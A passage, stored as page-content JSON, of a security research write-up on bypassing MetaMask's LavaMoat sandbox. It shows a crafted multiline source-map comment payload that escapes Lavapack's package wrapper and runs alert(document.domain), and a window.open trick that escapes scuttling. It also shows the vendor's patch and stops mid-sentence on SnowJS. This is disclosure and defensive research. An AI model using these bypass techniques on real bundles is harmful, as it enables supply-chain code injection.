'SyntaxError'",{"type":26,"tag":217,"props":117443,"children":117444},{"style":7048},[117445],{"type":32,"value":8380},{"type":26,"tag":217,"props":117447,"children":117448},{"style":7042},[117449],{"type":32,"value":10148},{"type":26,"tag":217,"props":117451,"children":117452},{"style":7054},[117453],{"type":32,"value":82790},{"type":26,"tag":217,"props":117455,"children":117456},{"style":7048},[117457],{"type":32,"value":7162},{"type":26,"tag":217,"props":117459,"children":117460},{"class":7028,"line":7406},[117461,117465,117470,117474,117478,117482,117486,117490,117494],{"type":26,"tag":217,"props":117462,"children":117463},{"style":7042},[117464],{"type":32,"value":7171},{"type":26,"tag":217,"props":117466,"children":117467},{"style":7064},[117468],{"type":32,"value":117469}," errorInfo",{"type":26,"tag":217,"props":117471,"children":117472},{"style":7048},[117473],{"type":32,"value":1851},{"type":26,"tag":217,"props":117475,"children":117476},{"style":7054},[117477],{"type":32,"value":8406},{"type":26,"tag":217,"props":117479,"children":117480},{"style":7048},[117481],{"type":32,"value":7599},{"type":26,"tag":217,"props":117483,"children":117484},{"style":7054},[117485],{"type":32,"value":116881},{"type":26,"tag":217,"props":117487,"children":117488},{"style":7048},[117489],{"type":32,"value":7599},{"type":26,"tag":217,"props":117491,"children":117492},{"style":7054},[117493],{"type":32,"value":81191},{"type":26,"tag":217,"props":117495,"children":117496},{"style":7048},[117497],{"type":32,"value":7669},{"type":26,"tag":217,"props":117499,"children":117500},{"class":7028,"line":7439},[117501],{"type":26,"tag":217,"props":117502,"children":117503},{"style":7048},[117504],{"type":32,"value":7184},{"type":26,"tag":39,"props":117506,"children":117507},{},[117508,117510,117514,117516,117522,117524,117529],{"type":32,"value":117509},"Interestingly, it ",{"type":26,"tag":65,"props":117511,"children":117512},{},[117513],{"type":32,"value":76669},{"type":32,"value":117515}," possible to inject a ",{"type":26,"tag":83,"props":117517,"children":117519},{"className":117518},[],[117520],{"type":32,"value":117521},"}); (() => {",{"type":32,"value":117523}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":26,"tag":83,"props":117525,"children":117527},{"className":117526},[],[117528],{"type":32,"value":117051},{"type":32,"value":117530}," sandbox of Lavapack.",{"type":26,"tag":607,"props":117532,"children":117534},{"id":117533},"sourcemap-the-syntax-killer",[117535],{"type":32,"value":117536},"SourceMap: The Syntax Killer",{"type":26,"tag":39,"props":117538,"children":117539},{},[117540,117542,117549],{"type":32,"value":117541},"Lavapack has a feature to extract source maps files from the code using ",{"type":26,"tag":163,"props":117543,"children":117546},{"href":117544,"rel":117545},"https://www.npmjs.com/package/convert-source-map",[167],[117547],{"type":32,"value":117548},"convert-source-map",{"type":32,"value":117550}," npm package:",{"type":26,"tag":207,"props":117552,"children":117554},{"className":24581,"code":117553,"language":24580,"meta":8,"style":8},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[117555],{"type":26,"tag":83,"props":117556,"children":117557},{"__ignoreMap":8},[117558,117583,117625,117633,117674,117715,117743],{"type":26,"tag":217,"props":117559,"children":117560},{"class":7028,"line":7029},[117561,117565,117570,117574,117579],{"type":26,"tag":217,"props":117562,"children":117563},{"style":7154},[117564],{"type":32,"value":7604},{"type":26,"tag":217,"props":117566,"children":117567},{"style":7064},[117568],{"type":32,"value":117569}," extractSourceMaps",{"type":26,"tag":217,"props":117571,"children":117572},{"style":7048},[117573],{"type":32,"value":1851},{"type":26,"tag":217,"props":117575,"children":117576},{"style":7054},[117577],{"type":32,"value":117578},"sourceCode",{"type":26,"tag":217,"props":117580,"children":117581},{"style":7048},[117582],{"type":32,"value":7618},{"type":26,"tag":217,"props":117584,"children":117585},{"class":7028,"line":6770},[117586,117590,117595,117599,117604,117608,117613,117617,117621],{"type":26,"tag":217,"props":117587,"children":117588},{"style":7154},[117589],{"type":32,"value":26650},{"type":26,"tag":217,"props":117591,"children":117592},{"style":7054},[117593],{"type":32,"value":117594}," converter",{"type":26,"tag":217,"props":117596,"children":117597},{"style":7149},[117598],{"type":32,"value":8993},{"type":26,"tag":217,"props":117600,"children":117601},{"style":7054},[117602],{"type":32,"value":117603}," convertSourceMap",{"type":26,"tag":217,"props":117605,"children":117606},{"style":7048},[117607],{"type":32,"value":180},{"type":26,"tag":217,"props":117609,"children":117610},{"style":7064},[117611],{"type":32,"value":117612},"fromSource",{"type":26,"tag":217,"props":117614,"children":117615},{"style":7048},[117616],{"type":32,"value":1851},{"type":26,"tag":217,"props":117618,"children":117619},{"style":7054},[117620],{"type":32,"value":117578},{"type":26,"tag":217,"props":117622,"children":117623},{"style":7048},[117624],{"type":32,"value":10025},{"type":26,"tag":217,"props":117626,"children":117627},{"class":7028,"line":6779},[117628],{"type":26,"tag":217,"props":117629,"children":117630},{"style":7033},[117631],{"type":32,"value":117632},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":26,"tag":217,"props":117634,"children":117635},{"class":7028,"line":7140},[117636,117640,117645,117649,117653,117657,117661,117665,117670],{"type":26,"tag":217,"props":117637,"children":117638},{"style":7154},[117639],{"type":32,"value":26650},{"type":26,"tag":217,"props":117641,"children":117642},{"style":7054},[117643],{"type":32,"value":117644}," maps",{"type":26,"tag":217,"props":117646,"children":117647},{"style":7149},[117648],{"type":32,"value":8993},{"type":26,"tag":217,"props":117650,"children":117651},{"style":7054},[117652],{"type":32,"value":117594},{"type":26,"tag":217,"props":117654,"children":117655},{"style":7149},[117656],{"type":32,"value":38514},{"type":26,"tag":217,"props":117658,"children":117659},{"style":7054},[117660],{"type":32,"value":117594},{"type":26,"tag":217,"props":117662,"children":117663},{"style":7048},[117664],{"type":32,"value":180},{"type":26,"tag":217,"props":117666,"children":117667},{"style":7064},[117668],{"type":32,"value":117669},"toObject",{"type":26,"tag":217,"props":117671,"children":117672},{"style":7048},[117673],{"type":32,"value":64888},{"type":26,"tag":217,"props":117675,"children":117676},{"class":7028,"line":7165},[117677,117681,117686,117690,117694,117698,117703,117707,117711],{"type":26,"tag":217,"props":117678,"children":117679},{"style":7154},[117680],{"type":32,"value":26650},{"type":26,"tag":217,"props":117682,"children":117683},{"style":7054},[117684],{"type":32,"value":117685}," code",{"type":26,"tag":217,"props":117687,"children":117688},{"style":7149},[117689],{"type":32,"value":8993},{"type":26,"tag":217,"props":117691,"children":117692},{"style":7054},[117693],{"type":32,"value":117603},{"type":26,"tag":217,"props":117695,"children":117696},{"style":7048},[117697],{"type":32,"value":180},{"type":26,"tag":217,"props":117699,"children":117700},{"style":7064},[117701],{"type":32,"value":117702},"removeComments",{"type":26,"tag":217,"props":117704,"children":117705},{"style":7048},[117706],{"type":32,"value":1851},{"type":26,"tag":217,"props":117708,"children":117709},{"style":7054},[117710],{"type":32,"value":117578},{"type":26,"tag":217,"props":117712,"children":117713},{"style":7048},[117714],{"type":32,"value":10025},{"type":26,"tag":217,"props":117716,"children":117717},{"class":7028,"line":7178},[117718,117722,117726,117730,117734,117739],{"type":26,"tag":217,"props":117719,"children":117720},{"style":7042},[117721],{"type":32,"value":67696},{"type":26,"tag":217,"props":117723,"children":117724},{"style":7048},[117725],{"type":32,"value":65337},{"type":26,"tag":217,"props":117727,"children":117728},{"style":7054},[117729],{"type":32,"value":83},{"type":26,"tag":217,"props":117731,"children":117732},{"style":7048},[117733],{"type":32,"value":7599},{"type":26,"tag":217,"props":117735,"children":117736},{"style":7054},[117737],{"type":32,"value":117738},"maps",{"type":26,"tag":217,"props":117740,"children":117741},{"style":7048},[117742],{"type":32,"value":65351},{"type":26,"tag":217,"props":117744,"children":117745},{"class":7028,"line":7389},[117746],{"type":26,"tag":217,"props":117747,"children":117748},{"style":7048},[117749],{"type":32,"value":7184},{"type":26,"tag":39,"props":117751,"children":117752},{},[117753,117755,117760,117762,117767],{"type":32,"value":117754},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":26,"tag":83,"props":117756,"children":117758},{"className":117757},[],[117759],{"type":32,"value":117205},{"type":32,"value":117761}," stage. Reviewing the ",{"type":26,"tag":83,"props":117763,"children":117765},{"className":117764},[],[117766],{"type":32,"value":117548},{"type":32,"value":117768}," code, we can see exactly how this happens.",{"type":26,"tag":207,"props":117770,"children":117772},{"className":24581,"code":117771,"language":24580,"meta":8,"style":8},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[117773],{"type":26,"tag":83,"props":117774,"children":117775},{"__ignoreMap":8},[117776,117813,117839,117847,118059,118066,118073,118080,118115,118165],{"type":26,"tag":217,"props":117777,"children":117778},{"class":7028,"line":7029},[117779,117783,117787,117792,117796,117800,117804,117809],{"type":26,"tag":217,"props":117780,"children":117781},{"style":7054},[117782],{"type":32,"value":33511},{"type":26,"tag":217,"props":117784,"children":117785},{"style":7048},[117786],{"type":32,"value":180},{"type":26,"tag":217,"props":117788,"children":117789},{"style":7064},[117790],{"type":32,"value":117791},"defineProperty",{"type":26,"tag":217,"props":117793,"children":117794},{"style":7048},[117795],{"type":32,"value":1851},{"type":26,"tag":217,"props":117797,"children":117798},{"style":7119},[117799],{"type":32,"value":26367},{"type":26,"tag":217,"props":117801,"children":117802},{"style":7048},[117803],{"type":32,"value":7599},{"type":26,"tag":217,"props":117805,"children":117806},{"style":7338},[117807],{"type":32,"value":117808},"'commentRegex'",{"type":26,"tag":217,"props":117810,"children":117811},{"style":7048},[117812],{"type":32,"value":13386},{"type":26,"tag":217,"props":117814,"children":117815},{"class":7028,"line":6770},[117816,117821,117825,117829,117834],{"type":26,"tag":217,"props":117817,"children":117818},{"style":7064},[117819],{"type":32,"value":117820},"  get",{"type":26,"tag":217,"props":117822,"children":117823},{"style":7054},[117824],{"type":32,"value":1473},{"type":26,"tag":217,"props":117826,"children":117827},{"style":7154},[117828],{"type":32,"value":7831},{"type":26,"tag":217,"props":117830,"children":117831},{"style":7064},[117832],{"type":32,"value":117833}," getCommentRegex",{"type":26,"tag":217,"props":117835,"children":117836},{"style":7048},[117837],{"type":32,"value":117838}," () {\n",{"type":26,"tag":217,"props":117840,"children":117841},{"class":7028,"line":6779},[117842],{"type":26,"tag":217,"props":117843,"children":117844},{"style":7033},[117845],{"type":32,"value":117846},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":26,"tag":217,"props":117848,"children":117849},{"class":7028,"line":7140},[117850,117854,117860,117864,117869,117874,117878,117883,117887,117892,117896,117900,117905,117910,117915,117920,117924,117928,117932,117937,117941,117946,117951,117956,117961,117965,117969,117973,117977,117981,117985,117989,117993,117998,118002,118006,118011,118016,118020,118024,118028,118032,118037,118041,118046,118050,118055],{"type":26,"tag":217,"props":117851,"children":117852},{"style":7042},[117853],{"type":32,"value":7171},{"type":26,"tag":217,"props":117855,"children":117857},{"style":117856},"--shiki-default:#D16969",[117858],{"type":32,"value":117859}," /",{"type":26,"tag":217,"props":117861,"children":117862},{"style":7064},[117863],{"type":32,"value":68509},{"type":26,"tag":217,"props":117865,"children":117866},{"style":117856},[117867],{"type":32,"value":117868},"\\s",{"type":26,"tag":217,"props":117870,"children":117871},{"style":8604},[117872],{"type":32,"value":117873},"*?\\/",{"type":26,"tag":217,"props":117875,"children":117876},{"style":7338},[117877],{"type":32,"value":7127},{"type":26,"tag":217,"props":117879,"children":117880},{"style":8604},[117881],{"type":32,"value":117882},"\\/\\*",{"type":26,"tag":217,"props":117884,"children":117885},{"style":7338},[117886],{"type":32,"value":10980},{"type":26,"tag":217,"props":117888,"children":117889},{"style":117856},[117890],{"type":32,"value":117891},"@#",{"type":26,"tag":217,"props":117893,"children":117894},{"style":7338},[117895],{"type":32,"value":21845},{"type":26,"tag":217,"props":117897,"children":117898},{"style":117856},[117899],{"type":32,"value":117868},{"type":26,"tag":217,"props":117901,"children":117902},{"style":8604},[117903],{"type":32,"value":117904},"+?",{"type":26,"tag":217,"props":117906,"children":117907},{"style":117856},[117908],{"type":32,"value":117909},"sourceMappingURL=data:",{"type":26,"tag":217,"props":117911,"children":117912},{"style":7338},[117913],{"type":32,"value":117914},"(((?:",{"type":26,"tag":217,"props":117916,"children":117917},{"style":117856},[117918],{"type":32,"value":117919},"application",{"type":26,"tag":217,"props":117921,"children":117922},{"style":7064},[117923],{"type":32,"value":94074},{"type":26,"tag":217,"props":117925,"children":117926},{"style":117856},[117927],{"type":32,"value":32},{"type":26,"tag":217,"props":117929,"children":117930},{"style":7338},[117931],{"type":32,"value":1889},{"type":26,"tag":217,"props":117933,"children":117934},{"style":8604},[117935],{"type":32,"value":117936},"\\/",{"type":26,"tag":217,"props":117938,"children":117939},{"style":117856},[117940],{"type":32,"value":15848},{"type":26,"tag":217,"props":117942,"children":117943},{"style":7338},[117944],{"type":32,"value":117945},")(?:",{"type":26,"tag":217,"props":117947,"children":117948},{"style":117856},[117949],{"type":32,"value":117950},";charset=",{"type":26,"tag":217,"props":117952,"children":117953},{"style":7338},[117954],{"type":32,"value":117955},"([^",{"type":26,"tag":217,"props":117957,"children":117958},{"style":117856},[117959],{"type":32,"value":117960},";,",{"type":26,"tag":217,"props":117962,"children":117963},{"style":7338},[117964],{"type":32,"value":21845},{"type":26,"tag":217,"props":117966,"children":117967},{"style":8604},[117968],{"type":32,"value":117904},{"type":26,"tag":217,"props":117970,"children":117971},{"style":7338},[117972],{"type":32,"value":1889},{"type":26,"tag":217,"props":117974,"children":117975},{"style":8604},[117976],{"type":32,"value":605},{"type":26,"tag":217,"props":117978,"children":117979},{"style":7338},[117980],{"type":32,"value":1889},{"type":26,"tag":217,"props":117982,"children":117983},{"style":8604},[117984],{"type":32,"value":605},{"type":26,"tag":217,"props":117986,"children":117987},{"style":7338},[117988],{"type":32,"value":1889},{"type":26,"tag":217,"props":117990,"children":117991},{"style":8604},[117992],{"type":32,"value":605},{"type":26,"tag":217,"props":117994,"children":117995},{"style":7338},[117996],{"type":32,"value":117997},"(?:",{"type":26,"tag":217,"props":117999,"children":118000},{"style":117856},[118001],{"type":32,"value":10289},{"type":26,"tag":217,"props":118003,"children":118004},{"style":7338},[118005],{"type":32,"value":1851},{"type":26,"tag":217,"props":118007,"children":118008},{"style":117856},[118009],{"type":32,"value":118010},"base64",{"type":26,"tag":217,"props":118012,"children":118013},{"style":7338},[118014],{"type":32,"value":118015},"))",{"type":26,"tag":217,"props":118017,"children":118018},{"style":8604},[118019],{"type":32,"value":605},{"type":26,"tag":217,"props":118021,"children":118022},{"style":117856},[118023],{"type":32,"value":1868},{"type":26,"tag":217,"props":118025,"children":118026},{"style":7338},[118027],{"type":32,"value":1851},{"type":26,"tag":217,"props":118029,"children":118030},{"style":117856},[118031],{"type":32,"value":180},{"type":26,"tag":217,"props":118033,"children":118034},{"style":8604},[118035],{"type":32,"value":118036},"*?",{"type":26,"tag":217,"props":118038,"children":118039},{"style":7338},[118040],{"type":32,"value":1889},{"type":26,"tag":217,"props":118042,"children":118043},{"style":7064},[118044],{"type":32,"value":118045},"$",{"type":26,"tag":217,"props":118047,"children":118048},{"style":117856},[118049],{"type":32,"value":5756},{"type":26,"tag":217,"props":118051,"children":118052},{"style":7154},[118053],{"type":32,"value":118054},"mg",{"type":26,"tag":217,"props":118056,"children":118057},{"style":7048},[118058],{"type":32,"value":7162},{"type":26,"tag":217,"props":118060,"children":118061},{"class":7028,"line":7165},[118062],{"type":26,"tag":217,"props":118063,"children":118064},{"style":7048},[118065],{"type":32,"value":16086},{"type":26,"tag":217,"props":118067,"children":118068},{"class":7028,"line":7178},[118069],{"type":26,"tag":217,"props":118070,"children":118071},{"style":7048},[118072],{"type":32,"value":14040},{"type":26,"tag":217,"props":118074,"children":118075},{"class":7028,"line":7389},[118076],{"type":26,"tag":217,"props":118077,"children":118078},{"emptyLinePlaceholder":17},[118079],{"type":32,"value":7817},{"type":26,"tag":217,"props":118081,"children":118082},{"class":7028,"line":7406},[118083,118087,118091,118095,118099,118103,118107,118111],{"type":26,"tag":217,"props":118084,"children":118085},{"style":7119},[118086],{"type":32,"value":26367},{"type":26,"tag":217,"props":118088,"children":118089},{"style":7048},[118090],{"type":32,"value":180},{"type":26,"tag":217,"props":118092,"children":118093},{"style":7064},[118094],{"type":32,"value":117702},{"type":26,"tag":217,"props":118096,"children":118097},{"style":7149},[118098],{"type":32,"value":8993},{"type":26,"tag":217,"props":118100,"children":118101},{"style":7154},[118102],{"type":32,"value":7831},{"type":26,"tag":217,"props":118104,"children":118105},{"style":7048},[118106],{"type":32,"value":7051},{"type":26,"tag":217,"props":118108,"children":118109},{"style":7054},[118110],{"type":32,"value":8406},{"type":26,"tag":217,"props":118112,"children":118113},{"style":7048},[118114],{"type":32,"value":7618},{"type":26,"tag":217,"props":118116,"children":118117},{"class":7028,"line":7439},[118118,118122,118126,118130,118135,118139,118143,118147,118152,118156,118161],{"type":26,"tag":217,"props":118119,"children":118120},{"style":7042},[118121],{"type":32,"value":67696},{"type":26,"tag":217,"props":118123,"children":118124},{"style":7054},[118125],{"type":32,"value":117300},{"type":26,"tag":217,"props":118127,"children":118128},{"style":7048},[118129],{"type":32,"value":180},{"type":26,"tag":217,"props":118131,"children":118132},{"style":7064},[118133],{"type":32,"value":118134},"replace",{"type":26,"tag":217,"props":118136,"children":118137},{"style":7048},[118138],{"type":32,"value":1851},{"type":26,"tag":217,"props":118140,"children":118141},{"style":7119},[118142],{"type":32,"value":26367},{"type":26,"tag":217,"props":118144,"children":118145},{"style":7048},[118146],{"type":32,"value":180},{"type":26,"tag":217,"props":118148,"children":118149},{"style":7054},[118150],{"type":32,"value":118151},"commentRegex",{"type":26,"tag":217,"props":118153,"children":118154},{"style":7048},[118155],{"type":32,"value":7599},{"type":26,"tag":217,"props":118157,"children":118158},{"style":7338},[118159],{"type":32,"value":118160},"''",{"type":26,"tag":217,"props":118162,"children":118163},{"style":7048},[118164],{"type":32,"value":7669},{"type":26,"tag":217,"props":118166,"children":118167},{"class":7028,"line":7487},[118168],{"type":26,"tag":217,"props":118169,"children":118170},{"style":7048},[118171],{"type":32,"value":12331},{"type":26,"tag":39,"props":118173,"children":118174},{},[118175,118177,118183],{"type":32,"value":118176},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":26,"tag":83,"props":118178,"children":118180},{"className":118179},[],[118181],{"type":32,"value":118182},"/*",{"type":32,"value":118184},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":26,"tag":607,"props":118186,"children":118188},{"id":118187},"the-bypass",[118189],{"type":32,"value":118190},"The Bypass",{"type":26,"tag":39,"props":118192,"children":118193},{},[118194,118196,118201,118203,118208],{"type":32,"value":118195},"By abusing the ",{"type":26,"tag":83,"props":118197,"children":118199},{"className":118198},[],[118200],{"type":32,"value":117702},{"type":32,"value":118202}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":26,"tag":83,"props":118204,"children":118206},{"className":118205},[],[118207],{"type":32,"value":117051},{"type":32,"value":118209}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":26,"tag":207,"props":118211,"children":118213},{"className":24581,"code":118212,"language":24580,"meta":8,"style":8},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[118214],{"type":26,"tag":83,"props":118215,"children":118216},{"__ignoreMap":8},[118217,118225,118232,118240,118248,118256,118264,118272,118280,118287,118294],{"type":26,"tag":217,"props":118218,"children":118219},{"class":7028,"line":7029},[118220],{"type":26,"tag":217,"props":118221,"children":118222},{"style":7033},[118223],{"type":32,"value":118224},"/*# sourceMappingURL=data:,{}\n",{"type":26,"tag":217,"props":118226,"children":118227},{"class":7028,"line":6770},[118228],{"type":26,"tag":217,"props":118229,"children":118230},{"emptyLinePlaceholder":17},[118231],{"type":32,"value":7817},{"type":26,"tag":217,"props":118233,"children":118234},{"class":7028,"line":6779},[118235],{"type":26,"tag":217,"props":118236,"children":118237},{"style":7033},[118238],{"type":32,"value":118239},"}}}}\n",{"type":26,"tag":217,"props":118241,"children":118242},{"class":7028,"line":7140},[118243],{"type":26,"tag":217,"props":118244,"children":118245},{"style":7033},[118246],{"type":32,"value":118247},"}, {\n",{"type":26,"tag":217,"props":118249,"children":118250},{"class":7028,"line":7165},[118251],{"type":26,"tag":217,"props":118252,"children":118253},{"style":7033},[118254],{"type":32,"value":118255},"    package: \"xpl\",\n",{"type":26,"tag":217,"props":118257,"children":118258},{"class":7028,"line":7178},[118259],{"type":26,"tag":217,"props":118260,"children":118261},{"style":7033},[118262],{"type":32,"value":118263},"    file: \"node_modules/xpl/index.js\",\n",{"type":26,"tag":217,"props":118265,"children":118266},{"class":7028,"line":7389},[118267],{"type":26,"tag":217,"props":118268,"children":118269},{"style":7033},[118270],{"type":32,"value":118271},"    test: alert(document.domain),\n",{"type":26,"tag":217,"props":118273,"children":118274},{"class":7028,"line":7406},[118275],{"type":26,"tag":217,"props":118276,"children":118277},{"style":7033},[118278],{"type":32,"value":118279},"    test1: () => { () => { () => { () => {\n",{"type":26,"tag":217,"props":118281,"children":118282},{"class":7028,"line":7439},[118283],{"type":26,"tag":217,"props":118284,"children":118285},{"emptyLinePlaceholder":17},[118286],{"type":32,"value":7817},{"type":26,"tag":217,"props":118288,"children":118289},{"class":7028,"line":7487},[118290],{"type":26,"tag":217,"props":118291,"children":118292},{"style":7033},[118293],{"type":32,"value":34519},{"type":26,"tag":217,"props":118295,"children":118296},{"class":7028,"line":7524},[118297],{"type":26,"tag":217,"props":118298,"children":118299},{"style":7033},[118300],{"type":32,"value":118301},"*/\n",{"type":26,"tag":39,"props":118303,"children":118304},{},[118305],{"type":32,"value":118306},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":26,"tag":607,"props":118308,"children":118310},{"id":118309},"lavapack-patch",[118311],{"type":32,"value":118312},"Lavapack Patch",{"type":26,"tag":39,"props":118314,"children":118315},{},[118316,118318,118324],{"type":32,"value":118317},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":26,"tag":83,"props":118319,"children":118321},{"className":118320},[],[118322],{"type":32,"value":118323},"assertValidJS",{"type":32,"value":118325},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":26,"tag":39,"props":118327,"children":118328},{},[118329,118331,118338],{"type":32,"value":118330},"The patch was introduced in commit ",{"type":26,"tag":163,"props":118332,"children":118335},{"href":118333,"rel":118334},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[167],[118336],{"type":32,"value":118337},"9c38cd4",{"type":32,"value":180},{"type":26,"tag":207,"props":118340,"children":118342},{"className":76068,"code":118341,"language":76067,"meta":8,"style":8},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[118343],{"type":26,"tag":83,"props":118344,"children":118345},{"__ignoreMap":8},[118346,118354,118362,118370,118378,118386,118394,118402,118409,118417],{"type":26,"tag":217,"props":118347,"children":118348},{"class":7028,"line":7029},[118349],{"type":26,"tag":217,"props":118350,"children":118351},{"style":7130},[118352],{"type":32,"value":118353},"+ function assertValidJS(code) {\n",{"type":26,"tag":217,"props":118355,"children":118356},{"class":7028,"line":6770},[118357],{"type":26,"tag":217,"props":118358,"children":118359},{"style":7130},[118360],{"type":32,"value":118361},"+  try {\n",{"type":26,"tag":217,"props":118363,"children":118364},{"class":7028,"line":6779},[118365],{"type":26,"tag":217,"props":118366,"children":118367},{"style":7130},[118368],{"type":32,"value":118369},"+    new Function(code)\n",{"type":26,"tag":217,"props":118371,"children":118372},{"class":7028,"line":7140},[118373],{"type":26,"tag":217,"props":118374,"children":118375},{"style":7130},[118376],{"type":32,"value":118377},"+  } catch (err) {\n",{"type":26,"tag":217,"props":118379,"children":118380},{"class":7028,"line":7165},[118381],{"type":26,"tag":217,"props":118382,"children":118383},{"style":7130},[118384],{"type":32,"value":118385},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":26,"tag":217,"props":118387,"children":118388},{"class":7028,"line":7178},[118389],{"type":26,"tag":217,"props":118390,"children":118391},{"style":7130},[118392],{"type":32,"value":118393},"+  }\n",{"type":26,"tag":217,"props":118395,"children":118396},{"class":7028,"line":7389},[118397],{"type":26,"tag":217,"props":118398,"children":118399},{"style":7130},[118400],{"type":32,"value":118401},"+ }\n",{"type":26,"tag":217,"props":118403,"children":118404},{"class":7028,"line":7406},[118405],{"type":26,"tag":217,"props":118406,"children":118407},{"emptyLinePlaceholder":17},[118408],{"type":32,"value":7817},{"type":26,"tag":217,"props":118410,"children":118411},{"class":7028,"line":7439},[118412],{"type":26,"tag":217,"props":118413,"children":118414},{"style":7130},[118415],{"type":32,"value":118416},"+  // additional layer of syntax checking independent of browserify\n",{"type":26,"tag":217,"props":118418,"children":118419},{"class":7028,"line":7487},[118420],{"type":26,"tag":217,"props":118421,"children":118422},{"style":7130},[118423],{"type":32,"value":118424},"+  assertValidJS(sourceMeta.code)\n",{"type":26,"tag":27,"props":118426,"children":118428},{"id":118427},"hacking-js-realms",[118429],{"type":32,"value":118430},"Hacking JS Realms",{"type":26,"tag":39,"props":118432,"children":118433},{},[118434,118436,118442],{"type":32,"value":118435},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":26,"tag":83,"props":118437,"children":118439},{"className":118438},[],[118440],{"type":32,"value":118441},"globalThis",{"type":32,"value":118443}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":26,"tag":207,"props":118445,"children":118447},{"className":24581,"code":118446,"language":24580,"meta":8,"style":8},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[118448],{"type":26,"tag":83,"props":118449,"children":118450},{"__ignoreMap":8},[118451,118493],{"type":26,"tag":217,"props":118452,"children":118453},{"class":7028,"line":7029},[118454,118458,118463,118467,118471,118475,118480,118484,118489],{"type":26,"tag":217,"props":118455,"children":118456},{"style":7154},[118457],{"type":32,"value":74748},{"type":26,"tag":217,"props":118459,"children":118460},{"style":7054},[118461],{"type":32,"value":118462}," w",{"type":26,"tag":217,"props":118464,"children":118465},{"style":7149},[118466],{"type":32,"value":8993},{"type":26,"tag":217,"props":118468,"children":118469},{"style":7054},[118470],{"type":32,"value":66857},{"type":26,"tag":217,"props":118472,"children":118473},{"style":7048},[118474],{"type":32,"value":180},{"type":26,"tag":217,"props":118476,"children":118477},{"style":7064},[118478],{"type":32,"value":118479},"open",{"type":26,"tag":217,"props":118481,"children":118482},{"style":7048},[118483],{"type":32,"value":1851},{"type":26,"tag":217,"props":118485,"children":118486},{"style":7338},[118487],{"type":32,"value":118488},"'/non_existent'",{"type":26,"tag":217,"props":118490,"children":118491},{"style":7048},[118492],{"type":32,"value":7669},{"type":26,"tag":217,"props":118494,"children":118495},{"class":7028,"line":6770},[118496,118500,118504,118508,118512,118516,118520,118524],{"type":26,"tag":217,"props":118497,"children":118498},{"style":7054},[118499],{"type":32,"value":2471},{"type":26,"tag":217,"props":118501,"children":118502},{"style":7048},[118503],{"type":32,"value":180},{"type":26,"tag":217,"props":118505,"children":118506},{"style":7064},[118507],{"type":32,"value":117151},{"type":26,"tag":217,"props":118509,"children":118510},{"style":7048},[118511],{"type":32,"value":1851},{"type":26,"tag":217,"props":118513,"children":118514},{"style":7054},[118515],{"type":32,"value":7929},{"type":26,"tag":217,"props":118517,"children":118518},{"style":7048},[118519],{"type":32,"value":180},{"type":26,"tag":217,"props":118521,"children":118522},{"style":7054},[118523],{"type":32,"value":117168},{"type":26,"tag":217,"props":118525,"children":118526},{"style":7048},[118527],{"type":32,"value":10025},{"type":26,"tag":39,"props":118529,"children":118530},{},[118531,118533,118538],{"type":32,"value":118532},"This opens a new window with a new JS Realm (another ",{"type":26,"tag":83,"props":118534,"children":118536},{"className":118535},[],[118537],{"type":32,"value":118441},{"type":32,"value":118539}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":26,"tag":39,"props":118541,"children":118542},{},[118543,118545,118552],{"type":32,"value":118544},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":26,"tag":163,"props":118546,"children":118549},{"href":118547,"rel":118548},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[167],[118550],{"type":32,"value":118551},"Metamask implementation",{"type":32,"value":1889},{"type":26,"tag":607,"props":118554,"children":118556},{"id":118555},"snowjs-attack-surface",[118557],{"type":32,"value":118558},"SnowJS Attack Surface",{"type":26,"tag":39,"props":118560,"children":118561},{},[118562],{"type":32,"value":118563},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":26,"tag":39,"props":118565,"children":118566},{},[118567,118569,118576],{"type":32,"value":118568},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the 